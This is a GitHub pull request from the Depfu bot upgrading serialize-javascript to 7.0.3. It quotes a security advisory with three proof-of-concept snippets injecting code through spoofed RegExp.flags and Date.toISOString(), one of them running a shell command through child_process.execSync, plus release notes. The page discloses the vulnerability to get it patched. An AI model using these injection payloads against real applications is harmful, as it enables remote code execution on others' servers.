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🚨 [security] Update serialize-javascript 6.0.0 → 7.0.3 (major)#723

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🚨 [security] Update serialize-javascript 6.0.0 → 7.0.3 (major)#723
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depfu/update/yarn/serialize-javascript-7.0.3

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@depfu depfu Bot commented Feb 28, 2026

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ serialize-javascript (6.0.0 → 7.0.3) · Repo

Security Advisories 🚨

🚨 Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()

javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution

javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

🚨 Cross-site Scripting (XSS) in serialize-javascript

A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.

Release Notes

7.0.2

What's Changed

Full Changelog: v7.0.1...v7.0.2

7.0.1

What's Changed

New Contributors

Full Changelog: v7.0.0...v7.0.1

7.0.0

Breaking Changes

  • requires Node.js v20+

What's Changed

New Contributors

Full Changelog: v6.0.2...v7.0.0

6.0.2

v6.0.1...v6.0.2

6.0.1

What's Changed

New Contributors

Full Changelog: v6.0.0...v6.0.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 49 commits:

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@depfu depfu Bot added the depfu label Feb 28, 2026
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depfu Bot commented Mar 27, 2026

Closed in favor of #731.

@depfu depfu Bot closed this Mar 27, 2026
@depfu depfu Bot deleted the depfu/update/yarn/serialize-javascript-7.0.3 branch March 27, 2026 20:05
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